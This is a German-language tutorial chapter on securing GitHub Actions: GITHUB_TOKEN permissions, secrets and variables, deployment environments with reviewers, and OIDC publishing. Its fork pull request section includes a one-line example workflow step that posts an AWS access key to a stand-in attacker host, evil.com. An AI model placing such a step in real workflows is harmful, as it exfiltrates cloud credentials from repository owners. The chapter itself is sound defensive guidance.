Workflows ohne Secrets sind harmlos – und meistens nutzlos. Sobald ein Deployment zu AWS laufen soll, ein API-Call authentifiziert werden muss oder ein Package zu PyPI hochgeladen wird, kommen Secrets ins Spiel. Und mit Secrets kommt Verantwortung: Wer darf was? Wie schützt man sensitive Daten? Wie verhindert man, dass ein Fehler im Workflow alle Produktions-Credentials kompromittiert?
Dieses Kapitel zeigt, wie GitHub Actions Secrets und Variables verwaltet, wie das Permissions-Modell funktioniert und wie man mit Environments gestaffelte Deployments mit Sicherheits-Checks aufbaut. Am Ende haben wir ein produktionsreifes Deployment-Setup für badge-gen mit minimalen Token-Rechten und Environment-Protection.
Jeder Workflow-Job bekommt automatisch ein GITHUB_TOKEN. Das ist kein Secret, das man manuell anlegt – GitHub generiert es bei jedem Job-Start neu.
Technisch gesehen ist GITHUB_TOKEN ein GitHub
App Installation Access Token. Wenn GitHub Actions in einem
Repository aktiviert wird, installiert GitHub eine App. Diese App
erzeugt für jeden Job einen Token, der:
jobs:
example:
runs-on: ubuntu-latest
steps:
- name: Create issue via API
run: |
curl --request POST \
--url https://api.github.com/repos/${{ github.repository }}/issues \
--header 'authorization: Bearer ${{ secrets.GITHUB_TOKEN }}' \
--header 'content-type: application/json' \
--data '{"title": "Automated issue", "body": "Created by workflow"}'Das Token ist im secrets Context verfügbar, aber auch
direkt über github.token.
Hier wird es interessant: Was darf GITHUB_TOKEN
standardmäßig?
Historisch (vor 2023): Read/Write auf fast alles. Das war praktisch, aber unsicher. Ein kompromittierter Workflow konnte Code überschreiben, Releases manipulieren, Issues massenhaft anlegen.
Aktuell (ab 2023): Read-only als Default für neue Repositories. Das ist sicherer, bricht aber viele Workflows, die schreibend auf das Repository zugreifen wollen.
Die Default-Permissions werden auf Repository-Ebene konfiguriert: Settings → Actions → General → Workflow permissions
Zwei Optionen:
Best Practice: Read-only als Default, dann explizit in Workflows Permissions setzen, wo nötig.
Statt globale Repository-Settings zu nutzen, definiert man Permissions im Workflow:
jobs:
build:
runs-on: ubuntu-latest
permissions:
contents: read
issues: write
pull-requests: write
steps:
- uses: actions/checkout@v4
- name: Comment on PR
run: |
gh pr comment ${{ github.event.pull_request.number }} \
--body "Build successful!"
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}Wichtig: Sobald permissions gesetzt
ist, sind alle nicht aufgeführten Scopes auf
none. Das ist explizit, aber radikal.
| Scope | Read | Write | Beispiel Use-Case |
|---|---|---|---|
actions |
Workflow-Runs lesen | Workflows abbrechen | CI-Dashboard |
attestations |
Attestations lesen | Attestations erstellen | Supply Chain Security |
checks |
Check-Runs lesen | Check-Runs erstellen | Test-Reporter |
contents |
Code auschecken | Code pushen, Tags erstellen | Release-Automation |
deployments |
Deployments lesen | Deployments erstellen | CD-Pipeline |
discussions |
Discussions lesen | Discussions erstellen | Community-Bot |
issues |
Issues lesen | Issues erstellen/schließen | Auto-Triage |
packages |
Packages lesen | Packages publizieren | Docker-Registry |
pages |
Pages lesen | Pages deployen | GitHub Pages |
pull-requests |
PRs lesen | PRs kommentieren | Code-Review-Bot |
security-events |
Security-Scans lesen | Security-Alerts erstellen | SARIF-Upload |
statuses |
Commit-Status lesen | Commit-Status setzen | CI-Status-Check |
id-token |
– | OIDC-Token anfordern | Cloud-Auth (AWS, Azure, GCP) |
Besonderheit metadata: Immer auf
read, nicht konfigurierbar. Ermöglicht Zugriff auf
Repository-Metadaten (Name, Beschreibung, etc.).
Permissions können global für den gesamten Workflow oder pro Job gesetzt werden:
# Workflow-Level: Gilt für ALLE Jobs
permissions:
contents: read
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
deploy:
runs-on: ubuntu-latest
# Job-Level: Überschreibt Workflow-Level für diesen Job
permissions:
contents: write
pages: write
steps:
- name: Deploy to GitHub Pages
run: ./deploy.shStrategie:
contents: read)Das folgt dem Principle of Least Privilege: Nur die nötigen Rechte, nur dort wo gebraucht.
GITHUB_TOKEN lösen keine neuen Workflows aus (verhindert
Endlosschleifen)GITHUB_TOKEN starten keinen Pages-BuildFür diese Use-Cases braucht man Personal Access Tokens oder GitHub Apps (mehr dazu in Kapitel 7).
Secrets sind verschlüsselte Environment-Variablen für sensitive Daten: API-Keys, Passwörter, Tokens, Zertifikate.
GitHub bietet drei Ebenen für Secrets:
Precedence (Vorrang):
Environment > Repository > Organization
Ein Environment-Secret überschreibt ein gleichnamiges Repository-Secret.
Verfügbar für alle Workflows im Repository.
Anlegen:
Settings → Secrets and variables → Actions → Secrets → New repository
secret
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: Deploy to server
env:
DEPLOY_KEY: ${{ secrets.SSH_PRIVATE_KEY }}
run: |
echo "$DEPLOY_KEY" > deploy_key
chmod 600 deploy_key
scp -i deploy_key app.tar.gz user@server:/app/Für mehrere Repositories in einer Organization. Reduziert Duplikation (z.B. AWS-Credentials für alle Projekte).
Access-Policy:
Wichtig: Organization Secrets sind nicht verfügbar für private Repositories auf GitHub Free.
Gebunden an Environments (z.B. staging,
production). Nur verfügbar, wenn Job das Environment
referenziert:
jobs:
deploy-prod:
runs-on: ubuntu-latest
environment: production
steps:
- name: Deploy
env:
API_KEY: ${{ secrets.PROD_API_KEY }}
run: ./deploy.shWenn production Environment Required
Reviewers hat, muss der Deployment erst genehmigt werden, bevor
der Job PROD_API_KEY sehen kann.
| Limit | Wert |
|---|---|
| Max. Secret-Größe | 48 KB |
| Max. Secrets pro Repository | 100 |
| Max. Organization Secrets (zugänglich pro Repo) | 100 |
| Max. Environment Secrets | 100 |
Naming-Rules:
[a-zA-Z0-9_])GITHUB_ beginnen
(reserviert)Beispiele: - ✅ AWS_ACCESS_KEY_ID - ✅
PROD_DATABASE_PASSWORD - ❌ GITHUB_SECRET
(reserviertes Prefix) - ❌ 123_API_KEY (beginnt mit
Zahl)
GitHub maskiert automatisch Secret-Werte in Logs:
steps:
- name: Print secret (wird maskiert)
run: echo "${{ secrets.API_KEY }}"Log-Output:
***
Aber Achtung: Transformierte Secrets werden nicht maskiert:
steps:
- name: Base64-encode secret
run: |
ENCODED=$(echo "${{ secrets.API_KEY }}" | base64)
echo "Encoded: $ENCODED" # WIRD NICHT MASKIERT!Lösung: ::add-mask:: manuell
setzen:
steps:
- name: Base64-encode secret
run: |
ENCODED=$(echo "${{ secrets.API_KEY }}" | base64)
echo "::add-mask::$ENCODED"
echo "Encoded: $ENCODED" # Jetzt maskiertPull Requests von Forks haben KEINEN
Zugriff auf Repository-Secrets (außer
GITHUB_TOKEN, mit read-only Permissions).
Warum? Sicherheit. Sonst könnte jeder Contributor ein PR mit diesem Code öffnen:
- run: echo "${{ secrets.AWS_ACCESS_KEY }}" | curl -X POST https://evil.com/stealException: Admins können “Send write tokens to workflows from pull requests” aktivieren. Niemals tun bei public Repositories!
GitHub bietet auch Variables (nicht verschlüsselt):
| Feature | Secrets | Variables |
|---|---|---|
| Verschlüsselt | ✅ Ja | ❌ Nein |
| In Logs sichtbar | ❌ Maskiert | ✅ Plain text |
| Wert einsehbar | ❌ Nein | ✅ Ja (in UI) |
| Use-Case | Credentials, API-Keys | URLs, Configs, Feature-Flags |
Faustregel:
Secrets = würde Schaden anrichten, wenn öffentlich
Variables = OK, wenn jemand es sieht
jobs:
build:
runs-on: ubuntu-latest
env:
API_URL: ${{ vars.API_URL }} # Variable: OK sichtbar
API_KEY: ${{ secrets.API_KEY }} # Secret: muss geschützt sein
steps:
- run: curl -H "Authorization: Bearer $API_KEY" $API_URLEnvironments sind mehr als nur ein Namespace für Secrets. Sie sind Deployment-Gates mit Protection Rules.
Settings → Environments → New environment
Ein Environment kann haben:
Use-Case: Production-Deployments sollen erst nach Code-Review freigegeben werden.
Konfiguration:
productionIm Workflow:
jobs:
deploy-prod:
runs-on: ubuntu-latest
environment: production
steps:
- name: Deploy
run: ./deploy-to-production.shAblauf:
deploy-prod wartet auf ApprovalPrevent self-review: Checkbox verhindert, dass der Workflow-Starter selbst approved. Verhindert “merge & approve eigenen Code”.
Use-Case: “Kühlphase” vor Production-Deployments. Gibt Zeit, staging zu monitoren.
Konfiguration:
Protection Rules → Wait timer → 30 Minuten
jobs:
deploy-staging:
environment: staging
steps:
- run: ./deploy-staging.sh
deploy-production:
needs: deploy-staging
environment: production # 30 Minuten Wait Timer
steps:
- run: ./deploy-production.shAblauf:
deploy-staging läuft durchdeploy-production wartet 30 MinutenKombination mit Required Reviewers:
Beides ist möglich. Job wartet erst Timer ab, dann auf Approval.
Use-Case: Nur main und
release/* Branches dürfen nach Production deployen.
Konfiguration:
Deployment branches → Protected branches only
oder
Deployment branches → Selected branches → main,
release/*
Workflows von anderen Branches (z.B. feature/xyz) werden
beim Zugriff auf production Environment abgelehnt:
Error: The deployment to 'production' was rejected because the branch 'feature/xyz' is not allowed.
Enterprise-Feature: Integration mit externen Tools (Datadog, Honeycomb, ServiceNow) für automatische Quality-Gates.
Beispiel Datadog: Deployment nur erlaubt, wenn Error-Rate < 5% in den letzten 15 Minuten.
Beispiel Honeycomb: Deployment nur erlaubt, wenn P95-Latency < 500ms.
Die Custom Rules sind GitHub Apps, die per Webhook
bei Deployments aufgerufen werden und approved oder
rejected zurückgeben.
Limits: Max. 6 Protection Rules pro Environment gleichzeitig aktiv.
Badge-gen soll eine statische Website (Badge-Galerie) zu GitHub Pages deployen.
name: Deploy to GitHub Pages
on:
push:
branches: [main]
jobs:
deploy:
runs-on: ubuntu-latest
permissions: write-all # ⚠️ Zu viel!
steps:
- uses: actions/checkout@v4
- name: Build site
run: |
mkdir dist
python scripts/generate_gallery.py > dist/index.html
- name: Deploy
uses: peaceiris/actions-gh-pages@v4
with:
github_token: ${{ secrets.GITHUB_TOKEN }}
publish_dir: ./distProblem: permissions: write-all gibt: -
contents: write (kann Code überschreiben!) -
issues: write (kann Issues massenweise anlegen) -
packages: write (kann Packages manipulieren) - … und 10
weitere Scopes
Risiko: Wenn actions-gh-pages
kompromittiert wird, kann es das gesamte Repository übernehmen.
name: Deploy to GitHub Pages
on:
push:
branches: [main]
jobs:
deploy:
runs-on: ubuntu-latest
permissions:
contents: read
pages: write
id-token: write
steps:
- uses: actions/checkout@v4
- name: Build site
run: |
mkdir dist
python scripts/generate_gallery.py > dist/index.html
- name: Setup Pages
uses: actions/configure-pages@v4
- name: Upload artifact
uses: actions/upload-pages-artifact@v3
with:
path: ./dist
- name: Deploy to GitHub Pages
uses: actions/deploy-pages@v4Permissions-Analyse: - contents: read –
Zum Auschecken des Codes - pages: write – Zum Deployen zu
GitHub Pages - id-token: write – Für OIDC-basierte
Pages-Authentifizierung
Alles andere: none
Das ist Least Privilege: Nur die minimal nötigen Rechte.
Badge-gen bekommt zwei Environments: staging und
production.
Staging:
developSTAGING_PYPI_TOKENProduction:
mainPROD_PYPI_TOKENname: Build and Deploy
on:
push:
branches: [main, develop]
jobs:
build:
runs-on: ubuntu-latest
permissions:
contents: read
steps:
- uses: actions/checkout@v4
- uses: actions/setup-python@v5
with:
python-version: '3.12'
- name: Build package
run: python -m build
- name: Upload artifact
uses: actions/upload-artifact@v4
with:
name: dist
path: dist/
deploy-staging:
needs: build
if: github.ref == 'refs/heads/develop'
runs-on: ubuntu-latest
environment: staging
permissions:
id-token: write
steps:
- uses: actions/download-artifact@v4
with:
name: dist
- name: Publish to Test PyPI
uses: pypa/gh-action-pypi-publish@release/v1
with:
repository-url: https://test.pypi.org/legacy/
password: ${{ secrets.STAGING_PYPI_TOKEN }}
deploy-production:
needs: build
if: github.ref == 'refs/heads/main'
runs-on: ubuntu-latest
environment: production
permissions:
id-token: write
steps:
- uses: actions/download-artifact@v4
with:
name: dist
- name: Wait for manual approval
run: echo "Waiting for reviewers..."
- name: Publish to PyPI
uses: pypa/gh-action-pypi-publish@release/v1
with:
password: ${{ secrets.PROD_PYPI_TOKEN }}Workflow-Logik:
Sicherheits-Features:
main → Production,
develop → Stagingid-token: write für OIDCProblem mit Secrets: PyPI-Token ist langlebig (Monate/Jahre). Bei Leak: großer Schaden.
Lösung: OpenID Connect (OIDC). GitHub generiert kurzlebige Tokens (minutes), die PyPI direkt validiert.
Setup:
owner/repo)id-token: write Permissionpypa/gh-action-pypi-publish ohne
password- name: Publish to PyPI (OIDC)
uses: pypa/gh-action-pypi-publish@release/v1
# Kein password! Token wird automatisch via OIDC generiertVorteile:
Szenario:
- name: Debug
run: |
VALUE="${{ secrets.API_KEY }}"
echo "The key is: ${VALUE:0:3}..." # SubstringOutput:
The key is: sk-...
Ursache: Substring/Transformation wird nicht als Secret erkannt.
Lösung: Manuelle Maskierung:
- name: Debug
run: |
VALUE="${{ secrets.API_KEY }}"
SUBSTRING="${VALUE:0:3}"
echo "::add-mask::$SUBSTRING"
echo "The key is: $SUBSTRING..."Fehler:
Error: The process '/usr/bin/git' failed with exit code 128
fatal: could not read Username for 'https://github.com': terminal prompts disabled
Ursache: contents: read Permission
fehlt.
Lösung:
jobs:
build:
permissions:
contents: read # ← Explizit setzen
steps:
- uses: actions/checkout@v4Szenario:
jobs:
deploy:
runs-on: ubuntu-latest
# environment: production ← VERGESSEN!
steps:
- run: echo "${{ secrets.PROD_API_KEY }}" # Empty!Ursache: Environment nicht referenziert → Environment-Secrets nicht geladen.
Lösung: environment: production
setzen.
Szenario: Workflow will in
owner/docs-repo pushen.
Fehler:
remote: Permission to owner/docs-repo.git denied to github-actions[bot].
Ursache: GITHUB_TOKEN ist
nur auf das aktuelle Repository beschränkt.
Lösung:
repo
Scope als Secret anlegen- uses: actions/checkout@v4
with:
repository: owner/docs-repo
token: ${{ secrets.CROSS_REPO_PAT }}Szenario:
- run: |
echo '{"api_key": "${{ secrets.API_KEY }}"}' > config.json
cat config.json # Secret wird geloggt!Ursache: GitHub erkennt Secrets in JSON/YAML nicht immer.
Best Practice: Secrets direkt als Environment-Variablen, nicht in Files:
- run: node app.js
env:
API_KEY: ${{ secrets.API_KEY }}1. Principle of Least Privilege
Setze Permissions so restriktiv wie möglich. Starte mit
contents: read, erweitere nur wo nötig.
2. Environment-Secrets für Production
Production-Credentials niemals als Repository-Secrets. Immer mit
Required Reviewers schützen.
3. Secrets rotieren
Langlebige Secrets regelmäßig erneuern (30-90 Tage). Besser: OIDC statt
Secrets.
4. Fork-PR-Sicherheit
Bei public Repos: Niemals “Send write tokens to pull requests”
aktivieren.
5. Secret-Scanning aktivieren
GitHub Secret Scanning erkennt versehentlich committete Secrets. Sollte
immer an sein.
6. Structured Data vermeiden
Secrets nicht in JSON/YAML/XML einbetten. Direkt als
Environment-Variablen nutzen.
7. Third-Party Actions vorsichtig nutzen
Actions mit write Permissions können Secrets sehen. Nur
vertrauenswürdige Actions nutzen, idealerweise über Commit-SHA gepinnt
(Kapitel 6).
8. Audit-Logs prüfen
Organization Owners: Regelmäßig Audit-Logs für Secret-Zugriffe
checken.